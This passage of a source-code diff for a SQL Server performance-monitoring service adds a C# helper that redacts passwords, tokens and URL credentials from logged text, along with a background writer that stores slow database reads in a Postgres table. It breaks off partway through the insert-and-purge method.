+++ b/Darling/PerformanceMonitor.Darling.Service/SecretTextGuard.cs
@@ -0,0 +1,144 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.RegularExpressions;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// The one policy for what counts as a secret in a key name or in a text value. The slow-read log applies it at
+/// write time and the diagnostics bundle applies it to every key and string it exports, so the two cannot drift.
+/// A key is a secret when its lower-cased name carries one of <see cref="IsSecretKey"/>'s fragments; a value is a
+/// secret when it names a credential (<see cref="ValueLooksSecret"/>). <see cref="RedactText"/> removes the secret
+/// part of a longer text where it can be bounded.
+/// </summary>
+internal static class SecretTextGuard
+{
+    /// <summary>What replaces a secret value.</summary>
+    internal const string RedactedMarker = "[redacted]";
+
+    private static readonly string[] s_secretFragments =
+    {
+        "password", "passwd", "pwd", "secret", "token", "apikey", "api_key", "key", "credential", "webhook",
+        "connectionstring", "connection_string", "auth",
+        /* #5452: the external ID of a server's AWS role (aws_external_id, awsExternalId). */
+        "external_id", "externalid",
+    };
+
+    /* Fragments that mark a VALUE as a secret. Narrower than the key list: a bare "key" or "auth" would drop ordinary text. */
+    private static readonly string[] s_secretValueFragments =
+    {
+        "password", "passwd", "pwd=", "secret", "token=", "apikey", "api_key", "bearer ",
+    };
+
+    private static readonly Regex s_credentialShape = new(
+        @"://[^/@\s]+:[^/@\s]*@|(password|pwd)\s*=",
+        RegexOptions.IgnoreCase | RegexOptions.CultureInvariant,
+        TimeSpan.FromMilliseconds(100));
+
+    /* A key=value pair in a connection string or log line: the value runs to the next ';' or the end of the line.
+       A quoted value runs to its closing quote. */
+    private static readonly Regex s_secretPair = new(
+        @"(?<key>\b(?:password|passwd|pwd|encrypted[ _]?password|token|api[ _]?key|secret))(?<sep>\s*[=:]\s*)(?<value>""[^""]*""|'[^']*'|[^;\r\n""']*)",
+        RegexOptions.IgnoreCase | RegexOptions.CultureInvariant,
+        TimeSpan.FromMilliseconds(250));
+
+    private static readonly Regex s_bearer = new(
+        @"(?<key>\bbearer)(?<sep>\s+)(?<value>[^\s;,""']+)",
+        RegexOptions.IgnoreCase | RegexOptions.CultureInvariant,
+        TimeSpan.FromMilliseconds(250));
+
+    /* #5366: a sealed password or webhook value. The text is ciphertext, but it is a stored credential all the same, so it is
+       treated like one anywhere it appears. The token runs to the next space, quote, comma or semicolon. */
+    private static readonly Regex s_sealed = new(
+        @"(?<![A-Za-z0-9_])sealed:[^\s;,""']*",
+        RegexOptions.IgnoreCase | RegexOptions.CultureInvariant,
+        TimeSpan.FromMilliseconds(250));
+
+    private static readonly Regex s_redactedAssignment = new(
+        @"(password|pwd)\s*=\s*\[redacted\]",
+        RegexOptions.IgnoreCase | RegexOptions.CultureInvariant,
+        TimeSpan.FromMilliseconds(250));
+
+    private static readonly Regex s_urlCredential = new(
+        @"(?<scheme>[a-z][a-z0-9+.\-]*://)[^/@\s:]+:[^/@\s]*@",
+        RegexOptions.IgnoreCase | RegexOptions.CultureInvariant,
+        TimeSpan.FromMilliseconds(250));
+
+    /// <summary>True when a key's lower-cased name carries a secret fragment.</summary>
+    internal static bool IsSecretKey(string key)
+    {
+        if (key == "dedup_key")
+        {
+            return false;
+        }
+
+        var lowered = key.ToLowerInvariant();
+        foreach (var fragment in s_secretFragments)
+        {
+            if (lowered.Contains(fragment, StringComparison.Ordinal))
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /// <summary>
+    /// True when a (trimmed) text value carries a secret fragment or has the shape of a credential
+    /// (<c>://user:pass@</c> or <c>password=</c>). A regex timeout counts as secret: the safe direction.
+    /// </summary>
+    internal static bool ValueLooksSecret(string cleaned)
+    {
+        foreach (var fragment in s_secretValueFragments)
+        {
+            if (cleaned.Contains(fragment, StringComparison.OrdinalIgnoreCase))
+            {
+                return true;
+            }
+        }
+
+        try
+        {
+            return s_sealed.IsMatch(cleaned) || s_credentialShape.IsMatch(cleaned);
+        }
+        catch (RegexMatchTimeoutException)
+        {
+            return true;
+        }
+    }
+
+    /// <summary>
+    /// Removes the secret part of a text where it can be bounded: <c>Password=...</c> up to the <c>;</c> or the end of
+    /// the line, <c>Bearer ...</c> to the next space, and <c>://user:pass@</c> to <c>://[redacted]@</c>. A text that
+    /// still has the shape of a credential afterwards is replaced whole. A text with no secret comes back unchanged.
+    /// </summary>
+    internal static string RedactText(string text)
+    {
+        if (text.Length == 0)
+        {
+            return text;
+        }
+
+        try
+        {
+            var result = s_urlCredential.Replace(text, m => m.Groups["scheme"].Value + RedactedMarker + "@");
+            result = s_secretPair.Replace(result, m => m.Groups["key"].Value + m.Groups["sep"].Value + RedactedMarker);
+            result = s_sealed.Replace(result, RedactedMarker);
+            result = s_bearer.Replace(result, m => m.Groups["key"].Value + m.Groups["sep"].Value + RedactedMarker);
+            var probe = s_redactedAssignment.Replace(result, string.Empty);
+            return s_credentialShape.IsMatch(probe) ? RedactedMarker : result;
+        }
+        catch (RegexMatchTimeoutException)
+        {
+            return RedactedMarker;
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/SelfAlertDeliveryStampStore.cs b/Darling/PerformanceMonitor.Darling.Service/SelfAlertDeliveryStampStore.cs
index d09e34f6a4..7a45e95fb7 100644
--- a/Darling/PerformanceMonitor.Darling.Service/SelfAlertDeliveryStampStore.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/SelfAlertDeliveryStampStore.cs
@@ -110,6 +110,10 @@ public sealed class PgSelfAlertDeliveryStampStore : ISelfAlertDeliveryStampStore
     /// <summary>The analysis singles digest's stamp key (#3712) — the third daily document, same shape.</summary>
     public const string AnalysisSinglesDigestStateKey = "singles_digest_delivered_at";
 
+    /// <summary>The daily retained-history audit's stamp key (#5450). The value is the UTC slot of the audit pass
+    /// that ran, 01:00Z of the day it ran on, so a restart on the same day finds the day already audited.</summary>
+    public const string HistoryAuditStateKey = "history_audit_slot";
+
     /// <summary>The alert pass's own deadline (<c>DarlingAlertReadAdapter.AlertPassCommandTimeoutSeconds</c>),
     /// because this read runs inside it: a stamp read that outlives the pass's budget is a stamp read that
     /// should have failed toward the memory gate.</summary>
diff --git a/Darling/PerformanceMonitor.Darling.Service/ServiceCommandDeadlines.cs b/Darling/PerformanceMonitor.Darling.Service/ServiceCommandDeadlines.cs
index 602babb494..6f082d333d 100644
--- a/Darling/PerformanceMonitor.Darling.Service/ServiceCommandDeadlines.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/ServiceCommandDeadlines.cs
@@ -159,7 +159,9 @@ public static class ServiceCommandDeadlines
     /// <summary>
     /// The store reads and writes the CLI verbs perform — <c>--enable-mcp</c>/<c>--disable-mcp</c>/
     /// <c>--enable-web</c>/<c>--disable-web</c>'s <c>config_service</c> update, <c>--configure-firewall</c>'s
-    /// endpoint-toggle read, and <c>--recompress-plan-dim</c>'s plan-codec preflight.
+    /// endpoint-toggle read, <c>--recompress-plan-dim</c>'s plan-codec preflight, and the two reads
+    /// <c>--drop-xe-sessions</c> makes before it connects to a server (#4961): the long-query schedule rows and each
+    /// registration's last-known instance name.
     ///
     /// <para><b>This number is not new: the product already derived it, and two of the three sites did not
     /// get it.</b> <c>DarlingCliCommands.TryReadEndpointTogglesAsync</c> wraps its read in a linked
@@ -331,11 +333,12 @@ public static class ServiceCommandDeadlines
 
     /// <summary>
     /// The store commands awaited INLINE on the serial collection-loop thread: the control-plane reload
-    /// body — <c>StoreConfigProvider.LoadViewAsync</c>'s five config reads,
+    /// body — <c>StoreConfigProvider.LoadViewAsync</c>'s seven config commands (six reads, one of which, the
+    /// schedule read, is two commands: the sparse schedule rows and the run times),
     /// <c>DarlingObservability.SyncServerEnabledStatesAsync</c>'s two registry statements and the
     /// managed-role <c>statement_timeout</c> re-assert — plus the store-size lookup behind the
-    /// disk-pressure check and the daily retention sweep's own run-record. The first eight run ahead of
-    /// the per-server launches; the last two run after them, in the same tick.
+    /// disk-pressure check and the daily retention sweep's own run-record: twelve commands in all. The
+    /// first ten run ahead of the per-server launches; the last two run after them, in the same tick.
     ///
     /// <para><b>The regime, by the token test.</b> Every one of these is awaited directly inside
     /// <c>DarlingWorker</c>'s <c>while (!stoppingToken.IsCancellationRequested)</c> body, on the plain
@@ -345,7 +348,7 @@ public static class ServiceCommandDeadlines
     /// service runs. That combination is what makes it a regime of its own rather than an extension of
     /// either neighbour.</para>
     ///
-    /// <para><b>Seven of the ten ALSO run once on the bootstrap path</b> (<c>DarlingWorker</c> awaits
+    /// <para><b>Nine of the twelve ALSO run once on the bootstrap path</b> (<c>DarlingWorker</c> awaits
     /// <c>LoadViewAsync</c> and then <c>SyncServerEnabledStatesAsync</c> during startup, named rather than
     /// cited by line because those citations had drifted by ~180 lines by the time anyone read them), which is
     /// precisely why they take this constant and not <see cref="BootstrapSeconds"/>: a deadline is a
@@ -354,15 +357,19 @@ public static class ServiceCommandDeadlines
     ///
     /// <para><b>ABOVE the measured cold worst case.</b> Measured against a 4.05 GB store built by the
     /// product's own <c>MigrateAsync</c> and seeded through <c>SeedIfEmptyAsync</c>, shared buffers
-    /// dropped before the first run: <c>LoadViewAsync</c>'s five commands together took <b>16.1 ms</b>
+    /// dropped before the first run: <c>LoadViewAsync</c>'s first five commands (the ones it ran when
+    /// this was measured; it now runs seven) together took <b>16.1 ms</b>
     /// cold (3.4-4.8 ms warm) and <c>SyncServerEnabledStatesAsync</c>'s two <b>3.8 ms</b> — so the worst
     /// SINGLE command on this thread is a single-digit-millisecond read and 5 s is roughly three orders of
     /// magnitude above it. The <c>ALTER ROLE</c> re-assert is one statement out of the 63-statement
     /// provisioning batch that measured 79 ms in total, so it is in the same class.</para>
     ///
     /// <para><b>And every one of them is INDEPENDENT of store size, which the floor above silently
-    /// assumed (#3199).</b> Nine of the ten are keyed single-row reads on <c>config</c> tables, one
-    /// <c>ALTER ROLE</c>, and one single-row <c>INSERT</c>; the tenth — the disk-pressure check's store-size
+    /// assumed (#3199).</b> Eleven of the twelve touch small tables whose size tracks the fleet rather than the
+    /// store: seven reads of <c>config</c> tables (the service row, the alert settings and the notification
+    /// settings, each a keyed single-row read, and the notification routes, the monitored servers, the
+    /// schedule rows and the run times, each a read of the whole table), the two registry statements, one
+    /// <c>ALTER ROLE</c>, and one single-row <c>INSERT</c>; the twelfth — the disk-pressure check's store-size
     /// lookup — is now a newest-row read over <c>collect.store_metrics</c>' <c>(metric_time)</c> index
     /// (<c>StoreSelfMetrics.LatestStoreSizeSql</c>, measured 0.101 ms cold / 0.018 ms warm on a 225 GiB
     /// store). It USED to be <c>pg_database_size</c>, whose 6.2 ms on the 4.05 GB fixture is exactly what
@@ -384,7 +391,7 @@ public static class ServiceCommandDeadlines
     /// no chain bound (#3204).</b> This paragraph used to read <c>10 x 5 s = 50 s stays inside
     /// <c>DarlingWorker.SweepWatchdogSeconds</c> (60 s)</c>, and both operands were wrong. The watchdog is
     /// fed elapsed times stamped when a PER-SERVER BODY launches, and its verdict picks a log level — it
-    /// never observes this thread and it cancels nothing. And the ten are the commands carrying THIS
+    /// never observes this thread and it cancels nothing. And the twelve are this thread's commands carrying THIS
     /// constant, not the chain: the same thread awaits <c>ReadCollectorWatermarksAsync</c> under
     /// <see cref="CollectionSweepSeconds"/> once per server that gains a collector entry, the mute-rule
     /// load and the disk-pressure alert writes under
@@ -400,14 +407,14 @@ public static class ServiceCommandDeadlines
     /// one stalled command more than double the delivered period on its own; 5 s is a third of it.</para>
     ///
     /// <para><b>So what would justify 6?</b> The same three ceilings 5 clears — the tick, Npgsql's
-    /// default, and the bootstrap's number for the seven dual-caller sites — which 6 also clears. Nothing
+    /// default, and the bootstrap's number for the nine dual-caller sites — which 6 also clears. Nothing
     /// in the service forbids 6, and the arithmetic that appeared to was measuring the wrong thing on both
     /// sides. What raising it costs is delivered cadence in proportion, which is a trade to argue with a
     /// measurement rather than an inequality to lose.</para>
     ///
     /// <para><b>Why it is LOOSER than the reload beacon's own bound and must stay so.</b>
     /// <c>ReadConfigVersionAsync</c> runs on EVERY 15 s tick and is a single-row lookup, so it is the
-    /// tightest thing on this thread and is bounded separately. The ten here run only when the beacon
+    /// tightest thing on this thread and is bounded separately. The twelve here run only when the beacon
     /// has already seen a version change, or on the 5-minute disk-check cadence — rare, and each one a
     /// heavier read than the beacon.</para>
     ///
diff --git a/Darling/PerformanceMonitor.Darling.Service/SlowReadLog.cs b/Darling/PerformanceMonitor.Darling.Service/SlowReadLog.cs
new file mode 100644
index 0000000000..36337fc603
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/SlowReadLog.cs
@@ -0,0 +1,521 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Channels;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>One slow or failed read, ready to store in <c>collect.slow_reads</c> (#5097).</summary>
+internal sealed record SlowReadRecord(
+    DateTime ReadTimeUtc,
+    string Surface,
+    string Route,
+    string Outcome,
+    int TotalMs,
+    int? ServerId,
+    DateTime? WindowStart,
+    DateTime? WindowEnd,
+    string ArgumentsJson,
+    bool ArgumentsTruncated,
+    string? Source,
+    string? SourceReason,
+    string StatementsJson,
+    int StatementCount,
+    bool StatementsTruncated,
+    string? ErrorClass,
+    long? RowCount = null);
+
+/// <summary>
+/// The slow-read record's write path (#5097). The three recorders (the MCP tool filter, the <c>/api/read/*</c> loop
+/// and the composed-panel runner) call <see cref="Offer"/> when a read finishes; it decides whether the read is worth
+/// a row and hands it to a bounded channel (capacity 256, oldest dropped and counted). One background writer
+/// (<see cref="RunAsync"/>) inserts each record and then purges, on the stall-probe store's shape: failure-isolated, at
+/// Debug, never reaching a request. Retention and the row cap are paid by the insert, not by the daily sweep, because
+/// that sweep enumerates the collector catalog and this table is deliberately not in it.
+/// </summary>
+public sealed class SlowReadLog
+{
+    /// <summary>The default for a read at or over this many milliseconds, which is recorded whatever its outcome.</summary>
+    internal const int DefaultThresholdMs = 5_000;
+
+    /// <summary>The age and row-cap purge runs at most this often...</summary>
+    internal static readonly TimeSpan PurgeInterval = TimeSpan.FromSeconds(60);
+
+    /// <summary>...or after this many inserts, whichever comes first.</summary>
+    internal const int PurgeEveryInserts = 100;
+
+    internal const int MaxStringLength = 128;
+    internal const int MaxDepth = 8;
+    internal const int MaxArrayElements = 50;
+    internal const string OmittedMarker = "[omitted]";
+    internal const string RedactedMarker = "[redacted]";
+
+    internal const int Capacity = 256;
+    internal const int RetentionDays = 30;
+    internal const int RowCap = 10_000;
+    internal const int MaxArgumentsBytes = 4_096;
+    internal const int MaxStatementsStored = 50;
+
+    internal const string InsertSql = @"
+INSERT INTO collect.slow_reads
+(read_time, surface, route, outcome, total_ms, server_id, window_start, window_end, arguments, arguments_truncated,
+ source, source_reason, statements, statement_count, statements_truncated, error_class, row_count)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17);";
+
+    internal const string PurgeSql = @"
+DELETE FROM collect.slow_reads WHERE read_time < $1;";
+
+    /* Keeps the newest RowCap rows in the read's own total order (time, then id). */
+    internal const string CapSql = @"
+DELETE FROM collect.slow_reads
+WHERE slow_read_id IN
+(
+    SELECT slow_read_id FROM collect.slow_reads ORDER BY read_time DESC, slow_read_id DESC OFFSET $1
+);";
+
+    private readonly Channel<SlowReadRecord> _channel;
+    private long _dropped;
+    private DateTime _lastPurgeUtc = DateTime.MinValue;
+    private int _insertsSincePurge;
+
+    public SlowReadLog()
+        : this(DefaultThresholdMs)
+    {
+    }
+
+    internal SlowReadLog(int thresholdMs)
+    {
+        ThresholdMs = thresholdMs;
+        _channel = Channel.CreateBounded<SlowReadRecord>(
+            new BoundedChannelOptions(Capacity)
+            {
+                FullMode = BoundedChannelFullMode.DropOldest,
+                SingleReader = true,
+                SingleWriter = false,
+            },
+            _ => Interlocked.Increment(ref _dropped));
+    }
+
+    /// <summary>A read at or over this many milliseconds is recorded whatever its outcome.</summary>
+    internal int ThresholdMs { get; }
+
+    /// <summary>Records dropped because the channel was full.</summary>
+    internal long Dropped => Interlocked.Read(ref _dropped);
+
+    /// <summary>Hands one record to the writer; false only when the writer has finished.</summary>
+    internal bool TryEnqueue(SlowReadRecord record) => _channel.Writer.TryWrite(record);
+
+    /// <summary>Reads what is queued without a writer (for tests).</summary>
+    internal bool TryRead(out SlowReadRecord? record)
+    {
+        var ok = _channel.Reader.TryRead(out var item);
+        record = item;
+        return ok;
+    }
+
+    /// <summary>The recording rule: over the threshold, or ended in a timeout, error or limit. A cancelled read and
+    /// the fallbacks are recorded only when they are also over the threshold; their counts live in read_latency.</summary>
+    internal bool ShouldRecord(ReadOutcome outcome, long totalMs) =>
+        totalMs >= ThresholdMs || outcome is ReadOutcome.Timeout or ReadOutcome.Error or ReadOutcome.Limit;
+
+    /// <summary>Decides, builds and enqueues one record. Never throws.</summary>
+    internal void Offer(
+        ReadScope scope, ReadSurface surface, string route, ReadOutcome outcome, long totalMs,
+        JsonObject? arguments, string? errorClass, ILogger? logger)
+    {
+        try
+        {
+            if (!ShouldRecord(outcome, totalMs))
+            {
+                return;
+            }
+
+            /* #4348: the arguments of a slow call can hold a statement or a plan the caller passed (the MCP, web and
+               compose surfaces all land here). They are judged before they are stored, so a named statement never
+               reaches the table; the sweep that follows on read covers rows written before this. */
+            var sweptArguments = arguments is null ? null : SensitiveStatements.Json(arguments.ToJsonString());
+            TryEnqueue(Build(scope, surface, route, outcome, totalMs, ArgumentsAfterSweep(arguments, sweptArguments), errorClass, DateTime.UtcNow));
+        }
+        catch (Exception ex)
+        {
+            logger?.LogDebug(ex, "Slow-read recording failed for {Route}.", route);
+        }
+    }
+
+    /// <summary>The arguments to store after the statement sweep: the same instance when nothing was named, the swept
+    /// copy when something was, and one marker entry when the sweep refused the arguments (never the input).</summary>
+    internal static JsonObject? ArgumentsAfterSweep(JsonObject? arguments, string? swept)
+    {
+        if (arguments is null || swept is null) return arguments;
+        if (string.Equals(swept, SensitiveStatements.JsonRefusal, StringComparison.Ordinal))
+        {
+            return new JsonObject { ["arguments"] = SensitiveStatements.JsonRefusal };
+        }
+
+        return string.Equals(swept, arguments.ToJsonString(), StringComparison.Ordinal)
+            ? arguments
+            : JsonNode.Parse(swept) as JsonObject ?? new JsonObject { ["arguments"] = SensitiveStatements.JsonRefusal };
+    }
+
+    internal static SlowReadRecord Build(
+        ReadScope scope, ReadSurface surface, string route, ReadOutcome outcome, long totalMs,
+        JsonObject? arguments, string? errorClass, DateTime nowUtc)
+    {
+        var (argumentsJson, argumentsTruncated, windowStart, windowEnd) = NormaliseArguments(arguments, scope.ServerId, scope.StartedUtc);
+
+        var timings = scope.Snapshot().OrderBy(t => t.Ordinal).Take(MaxStatementsStored).ToList();
+        var statementsTruncated = scope.StatementTotal > timings.Count;
+        var statements = new JsonArray();
+        foreach (var t in timings)
+        {
+            statements.Add(new JsonObject
+            {
+                ["ordinal"] = t.Ordinal,
+                ["label"] = t.Label,
+                ["hash"] = t.Hash,
+                ["ms"] = Math.Round(t.DurationMs, 1, MidpointRounding.AwayFromZero),
+                ["rows"] = t.Rows,
+            });
+        }
+
+        return new SlowReadRecord(
+            DateTime.SpecifyKind(nowUtc, DateTimeKind.Unspecified),
+            surface.ToString().ToLowerInvariant(),
+            route,
+            ReadLatencyAccumulator.OutcomeLabel(outcome),
+            (int)Math.Min(int.MaxValue, Math.Max(0, totalMs)),
+            scope.ServerId,
+            windowStart,
+            windowEnd,
+            argumentsJson,
+            argumentsTruncated,
+            scope.Source,
+            scope.SourceReason,
+            statements.ToJsonString(),
+            scope.StatementTotal,
+            statementsTruncated,
+            errorClass,
+            scope.Rows);
+    }
+
+    /// <summary>The arguments as stored, one policy for every surface: the server name replaced by its id, the window
+    /// (hours / hours_back ending at as_of or the read's start) lifted into start and end, every value passed through
+    /// <see cref="Scrub"/>, and the whole object held to <see cref="MaxArgumentsBytes"/> (else a truncated object
+    /// naming the keys and the flag set).</summary>
+    internal static (string Json, bool Truncated, DateTime? WindowStart, DateTime? WindowEnd) NormaliseArguments(
+        JsonObject? arguments, int? serverId, DateTime startedUtc)
+    {
+        var normal = new JsonObject();
+        DateTime? windowStart = null;
+        DateTime? windowEnd = null;
+
+        if (arguments is not null)
+        {
+            foreach (var (key, value) in arguments)
+            {
+                if (key is "server_name" or "server")
+                {
+                    continue;
+                }
+
+                normal[key] = IsSecretKey(key) ? JsonValue.Create(RedactedMarker) : Scrub(value, 1);
+            }
+
+            var hours = NumberOf(arguments, "hours") ?? NumberOf(arguments, "hours_back");
+            if (hours is > 0)
+            {
+                windowEnd = ParseUtc(arguments, "as_of") ?? startedUtc;
+                windowStart = windowEnd.Value.AddHours(-hours.Value);
+            }
+        }
+
+        if (serverId is not null)
+        {
+            normal["server_id"] = serverId;
+        }
+
+        var json = normal.ToJsonString();
+        if (Encoding.UTF8.GetByteCount(json) <= MaxArgumentsBytes)
+        {
+            return (json, false, Unspecified(windowStart), Unspecified(windowEnd));
+        }
+
+        var names = new JsonArray();
+        foreach (var key in normal.Select(p => p.Key).OrderBy(k => k, StringComparer.Ordinal).Take(20))
+        {
+            names.Add(key.Length > 64 ? key[..64] : key);
+        }
+
+        return (new JsonObject { ["truncated"] = true, ["keys"] = names }.ToJsonString(), true, Unspecified(windowStart), Unspecified(windowEnd));
+    }
+
+    /// <summary>True when a key's lower-cased name carries a secret fragment.</summary>
+    internal static bool IsSecretKey(string key) => SecretTextGuard.IsSecretKey(key);
+
+    /// <summary>
+    /// The one argument policy for the MCP, web and compose surfaces. Numbers, booleans and nulls are kept. A string is
+    /// kept only when it is at most <see cref="MaxStringLength"/> characters and does not parse as a JSON object or
+    /// array; anything else becomes <see cref="OmittedMarker"/>, so a JSON-bearing argument (a server batch, a settings
+    /// document) never reaches the table. Objects and arrays are walked to <see cref="MaxDepth"/> levels (deeper is
+    /// omitted) and <see cref="MaxArrayElements"/> elements; a key naming a secret is redacted at any depth.
+    /// </summary>
+    internal static JsonNode? Scrub(JsonNode? node, int depth)
+    {
+        switch (node)
+        {
+            case null:
+                return null;
+            case JsonObject obj:
+            {
+                if (depth > MaxDepth)
+                {
+                    return JsonValue.Create(OmittedMarker);
+                }
+
+                var copy = new JsonObject();
+                foreach (var (key, value) in obj)
+                {
+                    copy[key] = IsSecretKey(key) ? JsonValue.Create(RedactedMarker) : Scrub(value, depth + 1);
+                }
+
+                return copy;
+            }
+
+            case JsonArray array:
+            {
+                if (depth > MaxDepth)
+                {
+                    return JsonValue.Create(OmittedMarker);
+                }
+
+                var copy = new JsonArray();
+                var taken = 0;
+                foreach (var item in array)
+                {
+                    if (taken == MaxArrayElements)
+                    {
+                        copy.Add(JsonValue.Create("[omitted " + (array.Count - MaxArrayElements).ToString(CultureInfo.InvariantCulture) + " more]"));
+                        break;
+                    }
+
+                    copy.Add(Scrub(item, depth + 1));
+                    taken++;
+                }
+
+                return copy;
+            }
+
+            case JsonValue value:
+            {
+                if (value.TryGetValue<string>(out var text))
+                {
+                    return KeepString(text) ? JsonValue.Create(text) : JsonValue.Create(OmittedMarker);
+                }
+
+                return value.DeepClone();
+            }
+
+            default:
+                return JsonValue.Create(OmittedMarker);
+        }
+    }
+
+    private static bool KeepString(string text)
+    {
+        if (text.Length > MaxStringLength)
+        {
+            return false;
+        }
+
+        /* JSON-looking text is never stored, parsed or not: a BOM, a trailing comma or a comment would defeat the parse. */
+        var cleaned = text.Replace("\uFEFF", string.Empty, StringComparison.Ordinal).Trim();
+        if (cleaned.Contains('{', StringComparison.Ordinal) || cleaned.Contains('[', StringComparison.Ordinal))
+        {
+            return false;
+        }
+
+        return !SecretTextGuard.ValueLooksSecret(cleaned);
+    }
+
+    private static DateTime? Unspecified(DateTime? value)
+    {
+        if (value.HasValue)
+        {
+            return DateTime.SpecifyKind(value.Value, DateTimeKind.Unspecified);
+        }
+
+        return null;
+    }
+
+    /// <summary>The scalar an argument carries. A repeated web query key is recorded as an array, one entry per value
+    /// in the order sent; the web routes read such a key as its first value, so the window reads it the same way. An
+    /// empty array, or a first entry that is not a scalar, carries none.</summary>
+    private static JsonValue? ScalarOf(JsonObject arguments, string key) =>
+        arguments[key] switch
+        {
+            JsonValue value => value,
+            JsonArray { Count: > 0 } list => list[0] as JsonValue,
+            _ => null,
+        };
+
+    private static double? NumberOf(JsonObject arguments, string key)
+    {
+        if (ScalarOf(arguments, key) is not JsonValue value)
+        {
+            return null;
+        }
+
+        if (value.TryGetValue<int>(out var whole))
+        {
+            return whole;
+        }
+
+        if (value.TryGetValue<long>(out var wide))
+        {
+            return wide;
+        }
+
+        if (value.TryGetValue<double>(out var number))
+        {
+            return number;
+        }
+
+        return value.TryGetValue<string>(out var text)
+            && double.TryParse(text, NumberStyles.Float, CultureInfo.InvariantCulture, out var parsed) ? parsed : null;
+    }
+
+    private static DateTime? ParseUtc(JsonObject arguments, string key) =>
+        ScalarOf(arguments, key) is JsonValue value && value.TryGetValue<string>(out var text)
+            && DateTime.TryParse(text, CultureInfo.InvariantCulture, DateTimeStyles.AdjustToUniversal | DateTimeStyles.AssumeUniversal, out var parsed)
+            ? parsed : null;
+
+    /// <summary>The type name or SQLSTATE of a fault, never its message text.</summary>
+    internal static string ErrorClassOf(Exception? ex)
+    {
+        if (ex is null)
+        {
+            return string.Empty;
+        }
+
+        if (ex is PostgresException postgres && !string.IsNullOrEmpty(postgres.SqlState))
+        {
+            return postgres.SqlState;
+        }
+
+        return ex.GetType().Name;
+    }
+
+    /// <summary>The class of an error that arrived as a tool's caught answer rather than an exception.</summary>
+    internal static string? ErrorClassOf(ReadOutcome outcome) => outcome switch
+    {
+        ReadOutcome.Timeout => "57014",
+        ReadOutcome.Limit => "53400",
+        _ => null,
+    };
+
+    /// <summary>The one writer: drains the channel until <paramref name="cancellationToken"/> fires, storing each record.</summary>
+    internal async Task RunAsync(NpgsqlDataSource postgres, ILogger? logger, CancellationToken cancellationToken)
+    {
+        try
+        {
+            await foreach (var record in _channel.Reader.ReadAllAsync(cancellationToken).ConfigureAwait(false))
+            {
+                await StoreAsync(postgres, record, logger).ConfigureAwait(false);
+            }
+        }
+        catch (OperationCanceledException)
+        {
+            /* Shutdown. */
+        }
+    }
+
+    /// <summary>Whether this insert should be followed by the purge: the first one, then one per
+    /// <see cref="PurgeInterval"/> or <see cref="PurgeEveryInserts"/> inserts, whichever comes first. The one writer
+    /// calls it, so it takes no lock.</summary>
+    internal bool PurgeDue(DateTime nowUtc)
+    {
+        _insertsSincePurge++;
+        if (_insertsSincePurge < PurgeEveryInserts && nowUtc - _lastPurgeUtc < PurgeInterval)
+        {
+            return false;
+        }
+
+        _insertsSincePurge = 0;
+        _lastPurgeUtc = nowUtc;
+        return true;
+    }
+
+    /// <summary>Inserts one record, then purges by age and by row cap when the purge is due. A failure is logged at
+    /// Debug and goes no further.</summary>
+    internal async Task StoreAsync(NpgsqlDataSource postgres, SlowReadRecord record, ILogger? logger)
+    {
+        try
+        {
+            await using var connection = await postgres.OpenConnectionAsync(CancellationToken.None).ConfigureAwait(false);
+
+            await using (var insert = new NpgsqlCommand(InsertSql, connection))
+            {
+                insert.CommandTimeout = ServiceCommandDeadlines.CollectionSweepSeconds;
+                insert.Parameters.AddWithValue(NpgsqlDbType.Timestamp, record.ReadTimeUtc);
+                insert.Parameters.AddWithValue(record.Surface);
+                insert.Parameters.AddWithValue(record.Route);
+                insert.Parameters.AddWithValue(record.Outcome);
+                insert.Parameters.AddWithValue(record.TotalMs);
+                insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = (object?)record.ServerId ?? DBNull.Value });
+                insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = (object?)record.WindowStart ?? DBNull.Value });
+                insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = (object?)record.WindowEnd ?? DBNull.Value });
+                insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Jsonb, Value = record.ArgumentsJson });
+                insert.Parameters.AddWithValue(record.ArgumentsTruncated);
+                insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)record.Source ?? DBNull.Value });
+                insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)record.SourceReason ?? DBNull.Value });
+                insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Jsonb, Value = record.StatementsJson });
+                insert.Parameters.AddWithValue(record.StatementCount);
+                insert.Parameters.AddWithValue(record.StatementsTruncated);
+                insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)record.ErrorClass ?? DBNull.Value });
+                insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = (object?)record.RowCount ?? DBNull.Value });
+                await insert.ExecuteNonQueryAsync(CancellationToken.None).ConfigureAwait(false);
+            }
+
+            if (!PurgeDue(DateTime.UtcNow))
+            {
+                return;
+            }
+
+            await using (var purge = new NpgsqlCommand(PurgeSql, connection))
